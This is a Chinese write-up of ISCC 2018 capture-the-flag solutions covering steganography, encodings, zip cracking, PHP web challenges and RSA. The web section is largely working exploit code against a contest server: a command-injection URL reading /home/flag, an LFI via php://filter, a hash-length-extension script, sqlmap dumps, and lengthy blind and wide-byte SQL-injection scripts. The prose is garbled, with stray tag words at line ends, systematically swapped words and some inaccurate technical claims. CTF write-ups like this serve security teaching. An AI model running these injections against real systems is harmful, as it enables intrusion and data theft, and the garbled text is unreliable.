題解部分:Misc(除misc500)、Web(除Only Admin、Only admin can see flag、有種你來繞、試試看)、Reverse、Pwn、Mobilejavascript
題目是一張圖片,手指指向下提示圖片下面還有內容。php
第一種方法:Windows環境下能夠用010editor直接修改png的高而不會報錯,由於windows的圖片查看器會忽略錯誤的CRC校驗碼。因此咱們能夠直接修改png的高,以下圖。改完保存後便可看到flaghtml
第二種方法:Linux環境下直接修改可能會報錯,是由於CRC校驗錯誤。咱們能夠利用圖片中的的CRC校驗碼爆破出其本來的高。java
# -*- coding: utf-8 -*- import binascii import struct crc32key = 0x402E2D95 width = '\x00\x00\x02\x72' for i in range(256, 65535): height = struct.pack('>i', i) #CRC: 9A768270 data = '\x49\x48\x44\x52' + width + height + '\x08\x06\x00\x00\x00' crc32result = binascii.crc32(data) & 0xffffffff if crc32result == crc32key: print ''.join(map(lambda c: "%02X" % ord(c), height)) #height = '\x00\x00\x02\x72'
flag:_Welcome_To_ISCC_2018_python
以上兩種方法以及png格式在這篇博客中講解的很清楚,有不懂的能夠看看。linux
16進制轉字符串
git
flag:it's easy!github
培根密碼,五位一組解碼便可。web
flag:ILIKEISCC算法
題目是一段base64,通過8次base64解碼後獲得
U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4%0AB5rKClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1z%0AiN+jkpb6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc=
%0A是字符'\n',記得替換掉。
搜了一下這串的頭,發現是AES加密,不須要密碼,在線解密 獲得
答案就是後面這句但已加密 缽娑遠吶者若奢顛悉吶集梵提梵蒙夢怯倒耶哆般究有慄
與佛論禪加密,解碼獲得
flag:把我複製走
一張png圖片,用010打開會發現圖片末尾有一段可疑的數據
\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d
這是html實體編碼,解開後發現是unicode,再解編碼就能夠獲得flag
>>> from HTMLParser import HTMLParser >>> h = HTMLParser() >>> h.unescape('''\u0066\u006c\u0061\u0067& #92;u007b\u0069\u0073\u0063\u00 ;63\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d''') u'\\u0066\\u006c\\u0061\\u0067\\u007b\\u0069\\u0073\\u0063\\u0063\\u0020\\u0069\\u0073\\u0020\\u0066\\u0075\\u006e\\u007d' >>> h.unescape('''\u0066\u006c\u0061\u0067& #92;u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\ 17;0066\u0075\u006e\u007d''').decode('unicode-esca pe').encode('utf-8') 'flag{iscc is fun}'
一張png圖片,binwalk發現有不少zlib數據,提出來沒發現什麼有用的。因而嘗試pngcheck一下。
發現是firework處理的,用adobe firework打開,發現有不少二維碼碎片,拼接獲得二維碼。
flag{a332b700-3621-11e7-a53b-6807154a58cf}
題目描述以下
凱撒十三世在學會使用鍵盤後,向你扔了一串字符:「ebdgc697g95w3」,猜猜它吧。
因而先rot13變換一下獲得roqtp697t95j3
根據題目提示鍵盤移位,即q==>a,r==>f,7==>u,以此類推。
flag:yougotme
一張jpg圖片,binwalk沒發現異常,用010打開搜文件尾FFD9時發現後面還有一堆數據,手動提出來,file一下發現是.doc文件,改後綴名用word打開,內容以下。
名西三陵帝焰數誦諸山衆參哈瑟倒陰捨劫奉惜逝定雙月奉倒放足即闍重號貧老誦夷經友利普過孕北至花令藐燈害蒙能羅福羅夢開雙禮琉德護慈積寫阿璃度戲便通故西故敬於瑟行雙知宇信在礙哈數及息闍殺陵遊盧槃藥諦慈燈究幽燈豆急彌貧豆親誦梭量樹琉敬精者楞來西陰根五消夢衆羅持造彌六師彌怖精僧璃夫薩竟祖方夢訶橋經文路困如牟憐急尼念憂戲輸教乾楞能敬告樹來楞殊倒哈在紛除億茶涅根輸持麼阿空瑟穩住濟號他方牟月息盡即來通貧竟怖如槃精老盡恤及遊薩戲師毒兄寶下行普鄉釋下告劫惜進施盡豆告心蒙紛信勝東蒙求帝金量礙故弟帝普劫夜利除積衆老陀告沙師尊尼捨惜三依老懞守精於排族祖在師利寫首念涼梭妙經慄穆愛憐孝粟尊醯造解住時剛槃宗解牟息在量下恐教衆智焰便醯除寂想虛中顛老彌諸持山諦月真羅陵普槃下遠涅能開息燈和楞族根羅寶戒藥印困求及想月涅能進至賢金難殊毘瑟六毘捨薩槃族施帝遠念衆勝夜夢各萬息尊薩山哈多皁誦盡藥北及雙慄師幽持牟尼隸姪遠住孕寂以舍精花羅界去住勒排困多閦呼皁難於焰以慄婦愛闍多安逝告槃藐矜竟孕彌弟多者精師寡寫故璃舍各亦方特路茶豆積梭求號慄怖夷涼在顛豆勝住虛解鄉姪利琉三槃以舍劫鄉陀室普焰於鄉依朋故能劫通
也是與佛論禪加密,解碼獲得一串16進制數。這串數的解碼腳本以下。
import base64 import libnum s = 0x523156615245644E536C564856544E565130354B553064524D6C524E546B4A56535655795645644F5530524857544A4553553943566B644A4D6C524E546C7052523155795645744F536C5248515670555330354452456456576B524854554A585231457956554E4F51305A4855544E4553303153566B64424D6C524A546B7058527A525A5245744F576C5A4854544A5554553554513063304E46524C54564A5652316B795255744F51305A4856544E5554564661566B6C464D6B5252546B70595231557A5245394E516C5A4856544A555355354B566B644E5756524E5455705752316B7A5255564F55305248566B465553564A4356306C4E4D6C524E546B4A565231557952453152556C564A56544A455555354B5530644E5756525054554A56523030795645314F516C5A4857544A4553303143566B64464D305648546B744352314A425645744F576C5A4855544A4651303543566B64564D6B524854554A555230557A52454E4F536C644855544A5554553543566B645A4D6B564A546C4E445231566152456C52576C5A4855544A5553303544516B64564D6C524C54564A55523045795245314F556C4A4856544E455355354B56556C564D6B564E546B70535230315A52457452536C564951544A555455354B565564535156524A54564A575230457956456C4E576C46485454525553303143566B6446576C564A54544A46 s = libnum.n2s(s) #print s s = base64.b64decode(s) s = base64.b32decode(s) #print s s = libnum.n2s(eval('0x'+s)) s = base64.b64decode(s) s = base64.b32decode(s) s = libnum.n2s(eval('0x'+s)) print s
F1a9_is_I5cc_ZOl8_G3TP01NT
zip僞加密,直接修改僞加密位爲偶數便可直接打開,具體原理詳見博客
獲得vfppjrnerpbzvat,vfpp很像iscc的移位,因此凱撒密碼解密便可(其實也就是rot13)。
isccwearecoming
這題有三層壓縮包加密,對應的解決方法分別是爆破,明文攻擊和僞加密。
獲得第一層密碼18803718888
注意:第一層的解壓縮應在linux環境下進行
從第一層解壓縮獲得兩個文件(2.zip和tips.txt),打開tips.txt看到第二層提示十位大小寫字母數字特殊符號構成的密碼 ,因而爆破是不可能了,嘗試明文攻擊。
在linux環境下將tips.txt壓縮爲tips.zip。
對比2.zip和tips.zip的結構以下
能夠看到兩個zip裏的tips.txt文件crc32值相等,因而明文攻擊。
明文攻擊的結果以下
Advanced ZIP Password Recovery statistics:
Encrypted ZIP-file:2018ISCC\misc\300\3\2.zip
Total passwords: 0
Total time: 3m 40s 724ms
Average speed (passwords per second): 0
Password for this file: Z!C@t#f$12
Password in HEX: 5a 21 43 40 74 23 66 24 31 32
獲得第二層密碼Z!C@t#f$12
將2.zip解壓獲得1.zip,用010打開以下圖
修改僞加密位05(奇數)爲00(偶數),保存打開獲得flag.txt
ISCC_!S_my_favor1te_CTF
只要比服務器上的數字大就行了
根據題目描述,先在輸入框隨便輸入一個數字,提交響應是數字過小,因此輸入儘可能大的數,發現只能輸入3位,F12打開瀏覽器控制檯,在查看器中將 maxlength="3"刪掉,提交9999便可以拿到key
key is 768HKyu678567&*&K
題目給出了源代碼
<?php highlight_file('2.php'); $flag='{***************}'; if (isset($_GET['password'])) { if (strcmp($_GET['password'], $flag) == 0) die('Flag: '.$flag); else print 'Invalid password'; } ?>
這是一道考察PHP特性的題目,strcmp函數有問題,只要使用get方法傳入password[]參數就能夠,參數值隨意,當strcmp比較的兩個參數類型不一樣時,一定返回0
Flag: ISCC{iscc_ef3w5r5tw_5rg5y6s3t3}
題目原來的目的是要在header中加X-Forwarded-For,可是不知道發生了什麼,主辦方表示環境沒法實現,直接打印了源碼送分。。。
ISCC{^&*(UIHKJjkadshf}
callback參數顯得很是特殊,裏面有幾個符號被url編碼了,先decode回去獲得
+/v+ +ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA+AC0-
嘗試base64解碼,在去掉+/v++後,能夠看出解出來的明文包含一段js代碼,只是每一個正常的字符後面都跟着一個亂碼,去掉後獲得js代碼
提交這個key值便可獲得flag:flag{Hell0World}
題目描述:好像有個文件忘記刪了
掃描一下目錄能夠發現index.php.txt泄露了源代碼
<?php include "flag.php"; if ($_SERVER["REQUEST_METHOD"] != "POST") die("flag is here"); if (!isset($_POST["flag"]) ) die($_403); foreach ($_GET as $k => $v){ $$k = $$v; } foreach ($_POST as $k => $v){ $$k = $v; } if ( $_POST["flag"] !== $flag ) die($_403); echo "flag: ". $flag . "\n"; die($_200); ?>
兩個foreach中的代碼存在明顯的變量覆蓋漏洞,因爲POST參數必須包含flag,因此最後一個if判斷一定成立,因此只要POST參數包含flag參數,就會執行最後兩句代碼,而flag變量也確定會被覆蓋成用戶POST過去的flag參數內容,因此必須在第一個foreach中將原來的flag變量賦給$_200,因此GET的參數是_200=flag,POST參數包含flag,flag內容能夠是任意值或者爲空
ISCC{taolu2333333....}
題目描述:沒過濾好啊
看題目描述覺得是注入,後來發現id參數只是個長整型數直接打印出來,並非注入點,f參數比較奇怪,後來發現構造這樣一個連接頁面會崩潰
http://118.190.152.202:8008/index.php?f=index
顯然就是對本頁面循環包含所致,直接用僞協議包含index.php,flag就在PHP代碼裏
http://118.190.152.202:8008/index.php?f=Php://filter/read=convert.base64-encode/resource=index
<!DOCTYPE html> <html lang="en"> <head> <title>導航頁</title> <meta charset="UTF-8"> </head> <body> <a href='index.php?f=articles&id=1'>ID: 1</href> </br> <a href='index.php?f=articles&id=2'>ID: 2</href> </br> <a href='index.php?f=articles&id=3'>ID: 3</href> </br> <a href='index.php?f=articles&id=4'>ID: 4</href> </br> </body> </html> <?php #ISCC{LFIOOOOOOOOOOOOOO} if(isset($_GET['f'])){ if(strpos($_GET['f'],"php") !== False){ die("error..."); } else{ include($_GET['f'] . '.php'); } } ?>
ISCC{LFIOOOOOOOOOOOOOO}
打開題目頁面,提示不是本機IP,嘗試XFF無效,PHP中檢查IP的值除了REMOTE_ADDR和HTTP_X_FORWARDED_FOR以外,還有一個不經常使用的HTTP_CLIENT_IP,在header中添加Client-ip字段,flag就來了
ISCC{iscc_059eeb8c0c33eb62}
題目描述:我都過濾了,看你怎麼繞。
感受題目描述很差理解,剛開始真的去ping題目IP,考慮利用惡意ICMP包進行攻擊,好像想一想這是個掛在docker裏的題目,不可能那麼作,有關IP的題目,之前見過命令執行漏洞的,試着傳入ip參數,emmm,果真是命令執行,管道和&符合都被過濾了,用\n(%0a)能夠繼續執行命令
http://118.190.152.202:8018/?ip=localhost%0acat%0a/home/flag
ISCC{8a8646c7a2fce16b166fbc68ca65f9e4}
看題目意思就是要傳username和password兩個參數過去,嘗試用get方法傳參,收到的響應源碼是 Username is not right
Password is not numeric
,emmm,又是後臺源碼泄露<?php error_reporting(0); $flag = "***********"; if(isset($_GET['username'])){ if (0 == strcasecmp($flag,$_GET['username'])){ $a = fla; echo "very good!Username is right"; } else{ print 'Username is not right<!--index.php.txt-->';} }else print 'Please give me username or password!'; if (isset($_GET['password'])){ if (is_numeric($_GET['password'])){ if (strlen($_GET['password']) < 4){ if ($_GET['password'] > 999){ $b = g; print '<p>very good!Password is right</p>'; }else print '<p>Password too little</p>'; }else print '<p>Password too long</p>'; }else print '<p>Password is not numeric</p>'; } if ($a.$b == "flag") print $flag; ?>
username的判斷和web01相同,username參數傳數組進去就能夠了;第二個判斷要求傳入一個長度小於4數值大於999的數字,科學計數法1e3便可:username[]=&password=1e3
flag{ISCC2018_Very_GOOD!}
代碼審查題目
<?php include "secret.php"; @$username=(string)$_POST['username']; function enc($text){ global $key; return md5($key.$text); } if(enc($username) === $_COOKIE['verify']){ if(is_numeric(strpos($username, "admin"))){ die($flag); } else{ die("you are not admin"); } } else{ setcookie("verify", enc("guest"), time()+60*60*24*7); setcookie("len", strlen($key), time()+60*60*24*7); } show_source(__FILE__);
這份代碼的漏洞在於驗證過程徹底依賴$key即md5鹽值的保密,可是md5算法存在另一個漏洞——hash長度擴展漏洞,原理能夠參考往年ISCC的另外一道題的分析,由源代碼結合長度擴展攻擊的須要,發現要構造的username必須以guest開頭,幷包含admin,由於cookie中已經設置了key的長度爲46,因此一開始$key.$text有(46+5)*8=408位,填充滿512位只須要5個字符,緊接着填充原文長度,即5七、58填充\x98\x01,後面繼續填充6個\x00補滿一塊(512位),第二塊內容只寫admin,第一塊消息產生的鏈變量便是第二塊的初始鏈變量,該鏈變量便是cookie中的verify高低位互換的結果
在Assassin大佬的一篇博客裏有一份實現md5哈希單獨一塊的Python代碼,這樣寫起來就很方便了
#! /usr/bin/python2 # *__ coding: utf-8 __* import assassin_md5 #將Assassin大佬的代碼保存爲assassin_md5.py放到exp.py同一目錄下 import hashlib import urllib import requests #將哈希值分爲四段,並反轉該四字節爲小端序,做爲64第二次循環的輸入幻書 # 78cfc57d983b4a17e55828c001a3e781 s1 = 0x7dc5cf78 s2 = 0x174a3b98 s3 = 0xc02858e5 s4 = 0x81e7a301 secret = "a"*46 + "guest" secret_admin= secret +'\x80'+'\x00'*4+'\x98\x01'+'\x00'*6+"admin" r = assassin_md5.deal_rawInputMsg(secret_admin) inp = r[len(r)/2:] #咱們須要截斷的地方,也是咱們須要控制的地方 #print r #print inp #print urllib.urlencode({'username': secret_admin[46:]}) #print "getmein:"+assassin_md5.run_md5(s1,s2,s3,s4,inp) url = 'http://118.190.152.202:8002' headers = {"Cookie": "verify="+assassin_md5.run_md5(s1,s2,s3,s4,inp), "len": "46"} data = {"username": str(secret_admin[46:])} res = requests.post(headers = headers, url = url, data = data) print res.content
運行獲得flag:ISCC{MD5_1s_n0t_5afe}
或者利用github上的一個工具hash_extender
$./hash_extender -d guest -s 78cfc57d983b4a17e55828c001a3e781 -f md5 -a admin --out-data-format=html -l 46 --quiet 5f585093a7fe86971766c3d25c43d0ebguest%80%00%00%00%00%98%01%00%00%00%00%00%00admin
guest前面32位就是md5值,剩下的是username參數的值,利用瀏覽器插件或者burpsuite改一下post的包便可
題目已經說了是注入題,有隻有一個參數,因此注入點是肯定的,各類姿式試一遍,發現下面兩個輸入的結果不同,因此是寬字節注入
http://118.190.152.202:8015/index.php?id=1 %df%27 && 1=2%23
http://118.190.152.202:8015/index.php?id=-1 %df%27 || 1=1%23
既然是寬字節注入,直接扔進sqlmap跑就能夠了
sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 --dbs sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 -D baji --tables sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 -D baji -T admins --columns sqlmap -u http://118.190.152.202:8015/index.php?id=-1%df%27 -D baji -T admins -C flag --dump
flag:Y0u_@@33w_dxxmn_9rf0Od
除了用sqlmap跑也能夠本身寫個腳本跑,快不少,因爲測試過程當中where條件沒有生效,因此在匹配數據庫的表名和字段名的部分有點繁瑣
#! /usr/bin/python2 # *__ coding: utf-8 __* import requests from bs4 import BeautifulSoup #獲取數據庫名 url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,7,8%23" res = requests.get(url) soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[0] print("database: " + str(res)[32:-10]) db = str(res)[32:-10] #獲取全部數據庫的表的總數 url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(*) from information_schema.tables),8%23" res = requests.get(url) soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[1] print("tables_count: " + str(res)[33:-10]) count = int(str(res)[33:-10]) #遍歷全部表名,找出屬於當前數據庫的表 tableList = [] for i in range(count): print("\r[+] " + str(i) + "/" + str(count), end='') url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select table_name from information_schema.tables limit " + str(i) + ",1),8%23" res = requests.get(url) soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[1] tb = str(res)[33:-10] url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(*) from " + db + "." + tb + "),8%23" res = requests.get(url) if(len(res.content) < 2000): continue tableList.append(db + "." + tb) print("\n[OK] ", end='') print(tableList) #獲取字段總數 columnsList = [] url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(*) from information_schema.columns),8%23" res = requests.get(url) soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[1] print("columns_count: " + str(res)[33:-10]) count = int(str(res)[33:-10]) #遍歷全部字段名,找出當前數據庫中存在的字段 for i in range(count): print("\r[+] " + str(i) + "/" + str(count), end='') url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select column_name from information_schema.columns limit " + str(i) + ",1),8%23" res = requests.get(url) soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[1] cl = str(res)[33:-10] for tb in tableList: url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select count(" + cl + ") from " + tb + "),8%23" res = requests.get(url) if(len(res.content) < 2000): continue else: columnsList.append(tb) columnsList.append(cl) res = requests.get(url) soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[1] clcount = int(str(res)[33:-10]) columnsList.append(clcount) print("\n[OK] ", end='') print(len(columnsList)) print(columnsList) #dump當前數據庫數據 for i in range(0, len(columnsList), 3): print("[+] " + str(i) + "/" + str(len(columnsList))) for j in range(columnsList[i + 2]): url = "http://118.190.152.202:8015/index.php?id=%df%27union select 1,database(),3,4,5,6,(select " + columnsList[i + 1] + " from " + columnsList[i] + " limit " + str(j) + ", 1),8%23" res = requests.get(url) if(len(res.content) < 2000): continue soup = BeautifulSoup(res.content, 'lxml') res = soup.find_all('tr')[1] print(columnsList[i], columnsList[i + 1], str(res)[33:-10])
執行結果顯示,數據庫名是baji,表名是admins,有一個字段名是flag
題目描述:據說你用php?
代碼審計題
<?php header("content-type:text/html;charset=utf-8"); if(isset($_POST['username'])&isset($_POST['password'])){ $username = $_POST['username']; $password = $_POST['password']; } else{ $username="hello"; $password="hello"; } if(md5($password) == 0){ echo "xxxxx"; } ?>
明顯的PHP弱類型,隨便找一個md5值是0e開頭的字符串輸入到密碼框裝便可,繞過該比較後獲得一個連接,是另外一份審計代碼
<?php include 'flag.php'; $a = @$_REQUEST['a']; @eval("var_dump($$a);"); show_source(__FILE__); ?>
連接默認參數a=hello,將hello改成GLOBALS,就能夠打印出當前PHP文件聲明的全部變量,能夠看到有一個是flag(固然,a=flag就只打印了flag)
ISCC{a39f9a1ff7eb4bab8a6a21b2ce111b4}
根據題目提示,設置Referer爲http://edu.xss.tv,同時XFF設置爲110.110.110.110,進入第二關,查看源代碼能夠發現應該password.js,該文件內
var password = eval(function(p,a,c,k,e,r){e=String;if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'^$'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4',[],1,''.split('|'),0,{}));
裏面那段base64編碼的內容解碼出來就是,因此密碼輸入xinyiji.com,獲得flag:B1H3n5u0xI2n9JIscc
題目描述:注注注
沒有任何過濾的盲注,直接貼腳本
import requests import string dic = string.printable url = 'http://118.190.152.202:8011/' headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86; rv:59.0) Gecko/20100101 Firefox/59.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '28', 'Cookie': 'PHPSESSID=rq3r0ek7jabavlv5bjntif8ul3', 'DNT': '1', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1'} #username = '''admin' and if(ascii(substr(database(),{i},1))>{j},1,0)#''' % i,j #for i in range(20): # username = '''admin' and if(length(database())=%s, 1, 0)#''' % str(i) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # dblen = i # break #print(dblen) dblen = 13 # #db = '' #for i in range(1, dblen + 1): # for j in dic: # username = '''admin' and if(substr(database(),%d,1)="%c", 1, 0)#''' % (i,j) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # db += j # print(db) # break # #print(db) db = 'sqli_database' #for i in range(20): # username = '''admin' and if((select count(table_name) from information_schema.tables where table_schema="sqli_database")=%d, 1, 0)#''' % i # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # tbcount = i # break #print(tbcount) tbcount = 2 #tblen = [] #for i in range(tbcount): # for j in range(20): # username = '''admin' and if((select length(table_name) from information_schema.tables where table_schema="sqli_database" limit %d,1)=%d, 1, 0)#''' % (i, j) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # tblen.append(j) # break # print(tblen) tblen = [4,4] # #tbnames = [] #for k in range(tbcount): # tb = '' # for i in range(1, tblen[k] + 1): # for j in dic: # username = '''admin' and if(substr((select table_name from information_schema.tables where table_schema="sqli_database" limit %d,1),%d,1)="%c", 1, 0)#''' % (k,i,j) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # if(j == dic[-1]): # i = dblen + 1 # break # tb += j # print(tb) # break # tbnames.append(tb) # #print(tbnames) tbnames = ['news', 'user'] #colcount = [] #for tb in tbnames: # for i in range(50): # username = '''admin' and if((select count(column_name) from information_schema.columns where table_name="%s")=%d, 1, 0)#''' % (tb,i) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # colcount.append(i) # print(i) # break #print(colcount) #colcount = [6, 45] # #collen = [] #for k in range(tbcount): # for i in range(colcount[k]): # for j in range(50): # username = '''admin' and if(length((select column_name from information_schema.columns where table_name="%s" limit %d,1))=%d, 1, 0)#''' % (tbnames[k], i, j) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # collen.append(j) # break # print(collen) #exit() #collen = [5, 4, 30, 2, 4, 4, 4, 4, 8, 11, 11, 11, 11, 11, 9, 11, 13, 12, 9, 10, 15, 10, 10, 12, 10, 21, 16, 12, 15, 16, 16, 14, 19, 18, 16, 10, 12, 22, 8, 10, 11, 12, 13, 11, 15, 20, 6, 21, 8, 4, 2] # #colnames = [] #for k in range(tbcount): # for lm in range(colcount[k]): # col = '' # print(collen[lm]) # for i in range(1, collen[lm] + 1): # for j in dic: # username = '''admin' and if(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1)="%c", 1, 0)#''' % (tbnames[k], lm, i, j) # data = {'username': username, # 'password': 'aaa'} # res = requests.post(headers = headers, url = url, data = data) # if('normal' in res.text): # if(j == dic[-1]): # i = collen[lm] + 1 # break # col += j # print(tbnames[k], col) # break # colnames.append(tbnames[k] + ':' + col) # #print(colnames) #colnames = ['news:title', 'news:note', 'news:kjafuibafuohnuvwnruniguankacbh', 'news:id', 'news:date', 'news:text', 'user:host ', 'user:user', 'user:password ', 'user:se', 'user:inse', 'user:upda', 'user:dele', 'user:crea', 'user:drop_pri', 'user:reload_priv', 'user:shutdown_pr', 'user:process_pri', 'user:file_priv ', 'user:grant_priv ', 'user:reference', 'user:index_priv ', 'user:alter_priv ', 'user:show_db_priv', 'user:super_pri', 'user:create_tmp', 'user:lock_tables_pri', 'user:execute_pr', 'user:repl_slave', 'user:repl_client_', 'user:create_vie', 'user:show_view_priv ', 'user:create_routine_p', 'user:alter_routin', 'user:create_user_pri', 'user:event_priv ', 'user:trigger_priv ', 'user:create_tablesp', 'user:ssl_type ', 'user:ssl_cipher ', 'user:x509_issuer ', 'user:x509_subje', 'user:max_question', 'user:max_updates ', 'user:max_conn', 'user:max_user_c', 'user:plugin ', 'user:authenticati', 'user:username ', 'user:pass ', 'user:id '] for i in range(50): username = '''admin' and if(((select count(kjafuibafuohnuvwnruniguankacbh) from sqli_database.news))="%d", 1, 0)#''' % (i) data = {'username': username, 'password': 'aaa'} res = requests.post(headers = headers, url = url, data = data) if('normal' in res.text): datacount = i break print(datacount) #datacount = 1 for i in range(50): username = '''admin' and if(((select length(kjafuibafuohnuvwnruniguankacbh) from sqli_database.news))="%d", 1, 0)#''' % (i) data = {'username': username, 'password': 'aaa'} res = requests.post(headers = headers, url = url, data = data) if('normal' in res.text): datalen = i break print(datalen) flag = '' for i in range(1, datalen + 1): for j in dic: username = '''admin' and if(substr((select kjafuibafuohnuvwnruniguankacbh from sqli_database.news limit 0,1),%d,1)="%c", 1, 0)#''' % (i, j) data = {'username': username, 'password': 'aaa'} res = requests.post(headers = headers, url = url, data = data) if('normal' in res.text): flag += j break print(flag)
flag{hahaha999999999}
= =不明白rsa爲何要放到逆向裏
給了三個加密後的文件和公鑰證書,使用openssl查看n和e,n能夠直接在線分解,因而問題就變得很簡單了,直接生成私鑰,而後解密便可
$openssl rsa -pubin -text -modulus -in ./public.key Public-Key: (256 bit) Modulus: 00:d9:9e:95:22:96:a6:d9:60:df:c2:50:4a:ba:54: 5b:94:42:d6:0a:7b:9e:93:0a:ff:45:1c:78:ec:55: d5:55:eb Exponent: 65537 (0x10001) Modulus=D99E952296A6D960DFC2504ABA545B9442D60A7B9E930AFF451C78EC55D555EB writing RSA key -----BEGIN PUBLIC KEY----- MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhANmelSKWptlg38JQSrpUW5RC1gp7npMK /0UceOxV1VXrAgMBAAE= -----END PUBLIC KEY----- $rsatool -n 98432079271513130981267919056149161631892822707167177858831841699521774310891 -p 302825536744096741518546212761194311477 -q 325045504186436346209877301320131277983 -e 65537 -v DER -o privkey.key Using (p, q) to initialise RSA instance n = d99e952296a6d960dfc2504aba545b9442d60a7b9e930aff451c78ec55d555eb e = 65537 (0x10001) d = 4547b732cbc3527104cb57c4728d6899b44c4994fae2713d6b594bc0f522a41 p = 302825536744096741518546212761194311477 (0xe3d213b0a3c9551f9fb1eb8d7c3daf35) q = 325045504186436346209877301320131277983 (0xf4897caaba80236bdc1b59385c4bf49f) dP = 14892453193253029554515379766076098477 (0xb342ea1b63c55825ba12d5b64ebc7ad) dQ = 49314546715988473539600683690526958771 (0x2519a2df68323ead839466a1e566e4b3) qInv = 202808955982661073098368600366992163939 (0x98939589a7919cfaf48f7486a78d8463) Saving PEM as privkey.key $for i in `ls encrypted*`;do openssl rsautl -decrypt -in $i -inkey ./privkey.key;done flag{3b6d3806-4b2b -11e7-95a0- 000c29d7e93d}
或者練習一下pycrypto的用法
fujian cat decrypt.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 from base64 import b64decode, b64encode with open("./privkey.key") as f: prikey = f.read() rsakey = RSA.importKey(prikey) cipher = PKCS1_v1_5.new(rsakey) flag = "" with open("./encrypted.message1") as f1, open("./encrypted.message2") as f2, open("./encrypted.message3") as f3: flag += cipher.decrypt(f1.read(), "ERROR") flag += cipher.decrypt(f2.read(), "ERROR") flag += cipher.decrypt(f3.read(), "ERROR") print flag.replace("\n", "") # flag{3b6d3806-4b2b-11e7-95a0-000c29d7e93d}
這個題學到了很多東西,值得認真寫一下
下載好文件後發現是upx的殼,upx -d直接脫掉後運行,發現是經典的check輸入的題目(做爲一個linuxer,首先用wine模擬運行了一下,這也爲我後來的解題減小了很多麻煩,後邊會說到)
ISCC2018_re150 [master●●] file leftleftrightright.exe leftleftrightright.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX compressed ISCC2018_re150 [master●●] upx -d ./leftleftrightright.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2013 UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013 File size Ratio Format Name -------------------- ------ ----------- ----------- 18432 <- 10752 58.33% win32/pe leftleftrightright.exe Unpacked 1 file. ISCC2018_re150 [master●●] file leftleftrightright.exe leftleftrightright.exe: PE32 executable (console) Intel 80386, for MS Windows ISCC2018_re150 [master●●] chmod +x leftleftrightright.exe ISCC2018_re150 [master●●] ./leftleftrightright.exe 0009:fixme:msvcp:_Locinfo__Locinfo_ctor_cat_cstr (0x32fcbc 1 C) semi-stub aaaaaaa 0009:fixme:msvcp:_Locinfo__Locinfo_ctor_cat_cstr (0x32fd1c 1 C) semi-stub try again! 請按任意鍵繼續...%
